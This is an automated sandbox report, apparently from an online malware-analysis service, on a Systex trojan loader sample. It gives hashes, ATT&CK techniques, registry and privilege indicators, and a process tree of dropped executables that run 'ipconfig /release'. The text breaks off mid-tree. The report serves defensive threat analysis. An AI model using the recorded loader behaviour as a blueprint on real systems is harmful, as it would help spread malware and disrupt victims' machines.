systex | 49473320d61780b3454f0bc95326f00d2d5e0d71973a842d3170f442e1af327d

Analysis

max time kernel
148s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/07/2026, 15:47

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
Size 384KB
Sample260720-s79erae15m
SHA256 49473320d61780b3454f0bc95326f00d2d5e0d71973a842d3170f442e1af327d
MD5 81087e35a6237192279efea4193c7910
SHA1 ff7af25fbbd31738ae0bf216bff7967ca699173b
SHA512 237a8b3bd06f1e1fc84f255b87cd3859478c7cb3a4b4f04355df3841eadb1193c3abc169ab2885bbf3011dbc98fc78de43d58239317575176f92cdc0102d4aa0
SSDEEP 3072:T9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:xctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1F1847B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
3004	jetolgeywrojgebw.exe
2220	jetolgeywrojgebw.sys
4448	CreateProcess.exe
5616	jdbwtojdbw.exe
4664	CreateProcess.exe
1712	CreateProcess.exe
3380	i_jdbwtojdbw.exe
1368	wtolgeywto.sys
1664	CreateProcess.exe
900	wlgeyvtnlg.exe
4512	CreateProcess.exe
1952	CreateProcess.exe
2808	i_wlgeyvtnlg.exe
1696	bvtnlgdyvq.sys
2396	CreateProcess.exe
2840	vtqlfdyvqo.exe
2252	CreateProcess.exe
5792	CreateProcess.exe
4436	i_vtqlfdyvqo.exe
2812	nkifaxvqni.sys
3412	CreateProcess.exe
1148	qkidavtnlf.exe
292	CreateProcess.exe
1368	CreateProcess.exe
608	i_qkidavtnlf.exe
3512	kfcaysqkic.sys
1784	CreateProcess.exe
1996	causnkfaxs.exe
3756	CreateProcess.exe
896	CreateProcess.exe
1172	i_causnkfaxs.exe
3896	icaxspnkfc.sys
4416	CreateProcess.exe
5620	uspkhczusm.exe
5332	CreateProcess.exe
1372	CreateProcess.exe
1492	i_uspkhczusm.exe
5404	ausmkhcaus.sys
2184	CreateProcess.exe
4076	zusmkecxus.exe
2532	CreateProcess.exe
5996	CreateProcess.exe
2868	i_zusmkecxus.exe
6072	uomhezwuom.sys
1304	CreateProcess.exe
3604	urpjhbzurm.exe
3304	CreateProcess.exe
5880	CreateProcess.exe
2564	i_urpjhbzurm.exe
4168	ezwjhbztrm.sys
568	CreateProcess.exe
2720	ojhbztrljd.exe
4432	CreateProcess.exe
4388	CreateProcess.exe
4872	i_ojhbztrljd.exe
3848	ojgebwtrlj.sys
5296	CreateProcess.exe
4608	oiywqoigby.exe
4356	CreateProcess.exe
4636	CreateProcess.exe
556	i_oiywqoigby.exe
2408	jdbvtolgdy.sys
204	CreateProcess.exe
1972	jdbvtolgdy.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3516_1279097222\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3516_790512537\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3516_1141091163\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3516_1141091163\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3516_1141091163\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3516_1262091456\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3516_1279097222\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3516_790512537\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3516_1141091163\office_endpoints_list.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 41 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jdbwtojdbw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wlgeyvtnlg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wlgeyvtnlg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_causnkfaxs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ojhbztrljd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_oiywqoigby.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nhfcxuspkh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xupnhfzxrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vtqlfdyvqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vtqlfdyvqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	urpjhbzurm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	oiywqoigby.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jdbvtolgdy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xupnhfzxrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pjhfzwurpj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_eywqoigayt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	causnkfaxs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ojhbztrljd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pjhfzwurpj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qkidavtnlf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	uspkhczusm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xvqnifaysq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_upnkfdxvpn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eywqoigayt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CreateProcess.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_urpjhbzurm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mjebwurmje.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jdbvtolgdy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nhfcxuspkh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mjebwurmje.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qkidavtnlf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zusmkecxus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	upnkfdxvpn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jetolgeywrojgebw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jdbwtojdbw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_uspkhczusm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zusmkecxus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xvqnifaysq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lgeywqoigb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_lgeywqoigb.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1360	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Gathers network information 2 TTPs 19 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4728	ipconfig.exe
548	ipconfig.exe
240	ipconfig.exe
4308	ipconfig.exe
4976	ipconfig.exe
1584	ipconfig.exe
4100	ipconfig.exe
4704	ipconfig.exe
5824	ipconfig.exe
3120	ipconfig.exe
1800	ipconfig.exe
1080	ipconfig.exe
2456	ipconfig.exe
1824	ipconfig.exe
5292	ipconfig.exe
2280	ipconfig.exe
5412	ipconfig.exe
4196	ipconfig.exe
6076	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134290360402909533"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3797332335-34111092-3597280141-1000\{01FAC85C-80DF-49DB-816D-F7D160F4FE0F}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
3004	jetolgeywrojgebw.exe
3004	jetolgeywrojgebw.exe
3004	jetolgeywrojgebw.exe
3004	jetolgeywrojgebw.exe
3004	jetolgeywrojgebw.exe
3004	jetolgeywrojgebw.exe
3004	jetolgeywrojgebw.exe
3004	jetolgeywrojgebw.exe

Suspicious behavior: LoadsDriver 20 IoCs

pid	Process
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe
3516	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	3380	i_jdbwtojdbw.exe
Token: SeDebugPrivilege	2808	i_wlgeyvtnlg.exe
Token: SeDebugPrivilege	4436	i_vtqlfdyvqo.exe
Token: SeDebugPrivilege	608	i_qkidavtnlf.exe
Token: SeDebugPrivilege	1172	i_causnkfaxs.exe
Token: SeDebugPrivilege	1492	i_uspkhczusm.exe
Token: SeDebugPrivilege	2868	i_zusmkecxus.exe
Token: SeDebugPrivilege	2564	i_urpjhbzurm.exe
Token: SeDebugPrivilege	4872	i_ojhbztrljd.exe
Token: SeDebugPrivilege	556	i_oiywqoigby.exe
Token: SeDebugPrivilege	4168	i_jdbvtolgdy.exe
Token: SeDebugPrivilege	2196	i_xvqnifaysq.exe
Token: SeDebugPrivilege	3712	i_upnkfdxvpn.exe
Token: SeDebugPrivilege	2644	i_nhfcxuspkh.exe
Token: SeDebugPrivilege	5368	i_xupnhfzxrp.exe
Token: SeDebugPrivilege	2988	i_pjhfzwurpj.exe
Token: SeDebugPrivilege	4268	i_mjebwurmje.exe
Token: SeDebugPrivilege	1284	i_lgeywqoigb.exe
Token: SeDebugPrivilege	5964	i_eywqoigayt.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3516	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5220 wrote to memory of 3004	5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe	89
PID 5220 wrote to memory of 4088	5220	2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe	90
PID 4088 wrote to memory of 3516	4088	iexplore.exe	91
PID 3516 wrote to memory of 4848	3516	msedge.exe	92
PID 3516 wrote to memory of 1360	3516	msedge.exe	93
PID 3516 wrote to memory of 248	3516	msedge.exe	95
PID 3516 wrote to memory of 248	3516	msedge.exe	95
PID 3516 wrote to memory of 4536	3516	msedge.exe	94
PID 3516 wrote to memory of 4536	3516	msedge.exe	94
PID 3516 wrote to memory of 4536	3516	msedge.exe	94
PID 3516 wrote to memory of 1624	3516	msedge.exe	97
PID 3516 wrote to memory of 1624	3516	msedge.exe	97
PID 3516 wrote to memory of 6008	3516	msedge.exe	98
PID 3516 wrote to memory of 1624	3516	msedge.exe	97
PID 3516 wrote to memory of 6008	3516	msedge.exe	98
PID 3516 wrote to memory of 6008	3516	msedge.exe	98
PID 3516 wrote to memory of 3692	3516	msedge.exe	99
PID 3516 wrote to memory of 3692	3516	msedge.exe	99
PID 3516 wrote to memory of 3692	3516	msedge.exe	99
PID 3516 wrote to memory of 4264	3516	msedge.exe	100
PID 3516 wrote to memory of 4264	3516	msedge.exe	100
PID 3516 wrote to memory of 4264	3516	msedge.exe	100
PID 3516 wrote to memory of 3704	3516	msedge.exe	101
PID 3516 wrote to memory of 3704	3516	msedge.exe	101
PID 3516 wrote to memory of 2980	3516	msedge.exe	105
PID 3516 wrote to memory of 2980	3516	msedge.exe	105
PID 3516 wrote to memory of 4856	3516	msedge.exe	106
PID 3516 wrote to memory of 4856	3516	msedge.exe	106
PID 3516 wrote to memory of 1080	3516	msedge.exe	108
PID 3004 wrote to memory of 4448	3004	jetolgeywrojgebw.exe	109
PID 5616 wrote to memory of 4664	5616	jdbwtojdbw.exe	112
PID 3516 wrote to memory of 944	3516	msedge.exe	117
PID 3516 wrote to memory of 944	3516	msedge.exe	117
PID 3516 wrote to memory of 2324	3516	msedge.exe	118
PID 3516 wrote to memory of 2324	3516	msedge.exe	118
PID 3004 wrote to memory of 1712	3004	jetolgeywrojgebw.exe	119
PID 3004 wrote to memory of 1664	3004	jetolgeywrojgebw.exe	123
PID 900 wrote to memory of 4512	900	wlgeyvtnlg.exe	125
PID 3004 wrote to memory of 1952	3004	jetolgeywrojgebw.exe	128
PID 3004 wrote to memory of 2396	3004	jetolgeywrojgebw.exe	132
PID 2840 wrote to memory of 2252	2840	vtqlfdyvqo.exe	134
PID 3004 wrote to memory of 5792	3004	jetolgeywrojgebw.exe	137
PID 3004 wrote to memory of 3412	3004	jetolgeywrojgebw.exe	142
PID 1148 wrote to memory of 292	1148	qkidavtnlf.exe	144
PID 3004 wrote to memory of 1368	3004	jetolgeywrojgebw.exe	147
PID 3516 wrote to memory of 1328	3516	msedge.exe	149
PID 3516 wrote to memory of 760	3516	msedge.exe	150
PID 3516 wrote to memory of 796	3516	msedge.exe	151
PID 3004 wrote to memory of 1784	3004	jetolgeywrojgebw.exe	154
PID 1996 wrote to memory of 3756	1996	causnkfaxs.exe	156
PID 3004 wrote to memory of 896	3004	jetolgeywrojgebw.exe	159
PID 3004 wrote to memory of 4416	3004	jetolgeywrojgebw.exe	163
PID 5620 wrote to memory of 5332	5620	uspkhczusm.exe	165
PID 3004 wrote to memory of 1372	3004	jetolgeywrojgebw.exe	168
PID 3004 wrote to memory of 2184	3004	jetolgeywrojgebw.exe	172
PID 4076 wrote to memory of 2532	4076	zusmkecxus.exe	174
PID 3004 wrote to memory of 5996	3004	jetolgeywrojgebw.exe	177
PID 3004 wrote to memory of 1304	3004	jetolgeywrojgebw.exe	181
PID 3604 wrote to memory of 3304	3604	urpjhbzurm.exe	183
PID 3004 wrote to memory of 5880	3004	jetolgeywrojgebw.exe	186
PID 3516 wrote to memory of 3124	3516	msedge.exe	188
PID 3516 wrote to memory of 3124	3516	msedge.exe	188
PID 3004 wrote to memory of 568	3004	jetolgeywrojgebw.exe	194
PID 2720 wrote to memory of 4432	2720	ojhbztrljd.exe	196

C:\Users\Admin\AppData\Local\Temp\2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-20_81087e35a6237192279efea4193c7910_amadey_darkgate_elex_smoke-loader_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5220
- C:\Temp\jetolgeywrojgebw.exe
  C:\Temp\jetolgeywrojgebw.exe run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3004
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\jdbwtojdbw.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4448
  - - C:\Temp\jdbwtojdbw.exe
      C:\Temp\jdbwtojdbw.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5616
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4664
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4728
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_jdbwtojdbw.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1712
  - - C:\Temp\i_jdbwtojdbw.exe
      C:\Temp\i_jdbwtojdbw.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3380
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\wlgeyvtnlg.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1664
  - - C:\Temp\wlgeyvtnlg.exe
      C:\Temp\wlgeyvtnlg.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:900
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4512
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1800
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_wlgeyvtnlg.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1952
  - - C:\Temp\i_wlgeyvtnlg.exe
      C:\Temp\i_wlgeyvtnlg.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2808
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\vtqlfdyvqo.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2396
  - - C:\Temp\vtqlfdyvqo.exe
      C:\Temp\vtqlfdyvqo.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2840
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2252
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1584
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_vtqlfdyvqo.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5792
  - - C:\Temp\i_vtqlfdyvqo.exe
      C:\Temp\i_vtqlfdyvqo.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4436
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\qkidavtnlf.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3412
  - - C:\Temp\qkidavtnlf.exe
      C:\Temp\qkidavtnlf.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1148
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:292
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:548
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_qkidavtnlf.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1368
  - - C:\Temp\i_qkidavtnlf.exe
      C:\Temp\i_qkidavtnlf.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:608
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\causnkfaxs.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1784
  - - C:\Temp\causnkfaxs.exe
      C:\Temp\causnkfaxs.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1996
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3756
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1080
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_causnkfaxs.exe ups_ins
    3⤵
